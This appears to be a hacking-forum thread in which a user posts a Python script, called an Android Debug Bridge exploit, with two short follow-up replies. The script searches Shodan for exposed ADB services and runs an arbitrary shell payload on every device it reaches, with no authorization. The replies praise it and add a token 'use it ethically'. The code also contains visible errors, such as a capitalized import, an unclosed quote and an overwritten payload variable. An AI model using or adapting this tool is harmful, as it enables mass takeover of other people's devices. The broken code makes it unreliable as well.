

Forum:[Hack Forums](#)

Thread: [Android Debug Bridge exploit](#)

Clumsy - February 19, 2022, 9:18 pm

Import threading, time

from shodan import Shodan

from colorama import Fore

from adb_shell.adb_device import AdbDeviceTcp, AdbDeviceUsb

from adb_shell.auth.sign_pythonrsa import PythonRSASigner

api = Shodan('YOUR KEY')

payload = input('Payload : ')

def Connection(host, port, payload):

try:

print(f'{Fore.GREEN}[CONNE]{Fore.MAGENTA}{host}{Fore.GREEN}:{Fore.MAGENTA}{port}\n')

device = AdbDeviceTcp(host=host, port=port, default_transport_timeout_s=9)

device.connect(auth_timeout_s=0.5)

device.shell(command=str(payload))

except:

print(f'{Fore.RED}[ERROR]{Fore.MAGENTA}{host}{Fore.RED}:{Fore.MAGENTA}{port}\n')

def Main(payload):

for payload in api.search_cursor('"Android Debug Bridge"):

try:

host = payload['ip_str'].rstrip()

port = payload['port']

threading.Thread(target=Connection, args=(host, port, payload)).start()

except Exception as e:

exit(e)

Main(payload)

SIM-353284 - February 19, 2022, 9:23 pm

This is a very HQ thread, thanks alot for posting [Clumsy](#) i will save this for later reference.

Clumsy - February 19, 2022, 9:26 pm

(Feb 19, 2022 10:23 PM)SIM Wrote: [\[CITE\]](#) This is a very HQ thread, thanks alot for posting [Clumsy](#) i will save this for later reference.

Enjoy this and remember use it ethically.